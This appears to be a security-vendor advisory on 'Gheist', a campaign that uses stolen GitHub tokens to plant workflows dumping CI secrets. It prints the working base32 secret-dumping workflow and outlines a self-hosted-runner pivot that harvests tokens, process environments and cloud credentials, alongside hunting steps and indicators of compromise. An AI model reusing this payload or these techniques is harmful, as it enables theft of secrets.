正文
Since September 15, 2026, Wiz Research has been tracking Gheist: a new campaign performing mass abuse of compromised GitHub tokens. The attack commits a workflow named sync-check to every repository to which each token has access. The workflow seeks to print the repository's secrets into its own workflow log. Then, the tool downloads the log through the GitHub API and deletes the run seconds later. The tool's API requests carry the user agent gheist, which gives the campaign its name.
We have recovered more than 13,500 planted branches from more than 850 compromised accounts, ranging from personal projects to enterprise organizations' private repositories.
A recent GitHub control has been blocking the exploitation in public repositories, but we've observed successful exploitation and follow-on activity in private repositories and GitHub enterprise environments.
As of October 24:
the attack is ongoing and evolving
roughly ⅔ of implicated accounts are no longer available on GitHub. This likely indicates response activity, as we have reported this activity to GitHub.
How the attack works
For each repository, the tool creates a branch named ci-sync- plus six random characters, then commits .github/workflows/sync-check.yml with the message ci: sync config. The commit is unsigned and authored as the token's owner. The push event triggers the workflow:
name: sync-check
on: [push]
permissions: {}
jobs:
sync:
runs-on: ubuntu-latest
timeout-minutes: 6
steps:
- name: build
run: |
env | base32 -w 120
echo -n '${{ toJSON(secrets) }}' | base32 -w 120
Three details make it work:
GitHub masks secret values in logs only when they appear verbatim. A base32-encoded secret doesn't match, so it prints in full.
While
permissions: {}restricts the job'sGITHUB_TOKEN, which the attacker doesn't need, it doesn't restrict the secrets context.When a repository has deployment environments, the tool lists them in a job matrix with
environment: ${{ matrix.environment }}, so environment-scoped secrets, often production credentials, are printed too.
Because the secrets leave through GitHub's own API, there is no attacker domain or outbound connection to block.
In enterprise organizations, we saw the tool cycle through tokens of several users and automation accounts within minutes, clone private repositories before planting the workflow, and hours later, cloud credentials from the same organization used to enumerate AWS Secrets Manager.
How the payload evolved
Two variants of this attack have been observed in parallel. They can be distinguished via the branch names.
Tool A uses a hexadecimal suffix and the plain payload.
Tool B uses a base36 suffix, added timeout-minutes: 6 and the environment matrix within hours of its first run on September 28, and modifies the selected payload per repository.
On October 19, Tool B added echo X | base32 -w 120 between the dumps, which prints LAFA==== as a separator, likely for the operator's log parser. Hours later it pushed a second job, sync-host, with runs-on: self-hosted, apparently only to repositories with a registered self-hosted runner. It writes three helper files (.gdmp_pat, .gdmp_patg, .gdmp_sweep) and logs each stage under a ===== gdmp-pivot: <stage> ===== header:
Host details and crontab.
A recursive search of the home directory, workspace and system paths for 31 token formats (including keys for AI providers such as Anthropic, Hugging Face, Groq and NVIDIA), private keys,
.envfiles, Terraform state and shell history.The environment of every process, from
/proc/*/environ.Through the Docker socket, a container with the host's root filesystem mounted, to repeat the search on the host.
AWS instance-role credentials, plus GCP and Azure metadata.
GitHub Actions and GitLab runner credential files.
The Kubernetes service account token.
However, this job is buggy: it looks for the wrong runner key file, its URL-credential regex is broken, and it doesn't collect GCP or Azure tokens.
GitHub's approval hold and private repositories
Since July 28, 2026, GitHub has held potentially malicious workflow runs in public repositories until a collaborator approves them. Every public Gheist run we checked, across all variants including the self-hosted job, sits at action_required. The control worked, and the malicious payloads never ran.
Unfortunately, that hold doesn't apply to private repositories or GitHub Enterprise Server. There, GitHub audit logs show runs on ci-sync-* branches completing and then being deleted by the gheist user agent. CloudTrail shows the organizations' own workflows running on those branches and assuming AWS roles, which proves Actions executed without approval.
For defenders, that last signal finds Gheist without any GitHub logs, as shown below.
Other activity on the same accounts
This campaign is leveraging compromised GitHub access. The same accounts are used by other actors and campaigns, which demonstrates how compromised credentials can move throughout the threat actor ecosystem. We've observed overlaps with the following campaigns:
Lure repositories (malware distribution). On October 6, 391 accounts renamed about 1,461 repositories to cracked-software lures like fl-studio-crack and solana-sniper-lite. The rename wiped 610
ci-syncbranches as a side effect. 166 of these accounts never appear in Gheist activity, so the pool is larger than Gheist's footprint.Free compute (cryptomining). On October 18, 25 Gheist accounts each created a "Windows RDP Runner" repository within nine minutes, attempting to abuse GitHub Actions for free compute cycles.
PolinRider. Some victims appear to be infected with PolinRider, the DPRK-linked malware that hides JavaScript in build config files and force-pushes back-dated commits. On October 19 and 20, three victims re-pushed their Gheist commits with a loader appended to
vite.config.jsbehind hundreds of whitespace characters, and in two cases an api.js that package.json runs before every dev and build.Megalodon. 57 accounts from Gheist's first phase were also victims of Megalodon in May.
The credential sources we could trace fit this picture: infostealer logs, and tokens exposed in earlier supply-chain compromises such as the Trivy compromise in March.
Note: Gheist is distinct from GhostAction, which uses different workflow files and exfiltrates secrets to 193.32.204[.]199.
Which actions should security teams take?
Hunt
Look for branches named
ci-sync-followed by six random characters, where the only change is a new file at.github/workflows/sync-check.ymlwith the commit messageci: sync config.In GitHub audit logs, look for workflow runs on
ci-sync-*branches that were deleted within a minute of completing, and for any activity from the user agentgheist.If your workflows authenticate to the cloud with OIDC, check cloud audit logs for role assumptions or token exchanges whose subject includes a
ci-sync-branch. That shows GitHub Actions ran on an attacker branch, even if you don't collect GitHub logs.On self-hosted runners, look for the files
.gdmp_pat,.gdmp_patgand.gdmp_sweep, and the stringgdmp-pivotin job logs.
Respond
Rotate every repository, organization and environment secret available to an affected repository. Deleting the run or the branch doesn't undo the exposure.
Revoke the tokens that pushed the commits, and check their owners' devices for infostealers.
If a
ci-syncbranch ran on a self-hosted runner, treat the host and its instance role as compromised.Don't approve held
sync-checkruns, and don't run code fromci-syncbranches.
Harden. Require reviewers on environments with production secrets, scope OIDC trust policies to protected branches or environments, use GitHub Apps or short-lived fine-grained tokens instead of personal access tokens, and run self-hosted runners as ephemeral hosts without Docker socket or unrestricted metadata access.
Indicators of compromise
User agent
gheistBranch
ci-sync-followed by six characters, matching^ci-sync-[0-9a-z]{6}$Commit message
ci: sync configadding only.github/workflows/sync-check.ymlMarkers
toJSON(secrets) }}' | base32 -w 120and===== gdmp-pivot:; files.gdmp_pat,.gdmp_patg,.gdmp_sweepWorkflow blob SHAs:
f3da2b8b357dcda02fd455d314be2a95007516a6(plain),d09535857a741bbb976bdc084a9a021713133291(timeout),1dc5af9cce950aad1eb1546ecce8565b117540c4(separator),c665b778b2d822453293003e7ca0bbb2cb08e39d(self-hosted job). Environment-matrix variants differ per repository.
How can Wiz help?
The Threat Center advisory includes an Event Explorer query covering planted commits, Gheist activity in GitHub audit logs and cloud role assumptions from attacker branches. Wiz Defend detects the activity with rules including "New Workflow Completed And Deleted In Short Time Span", "Workflow Pushed With Secret Dump" and "Commit Created With Known Malicious Commit Message".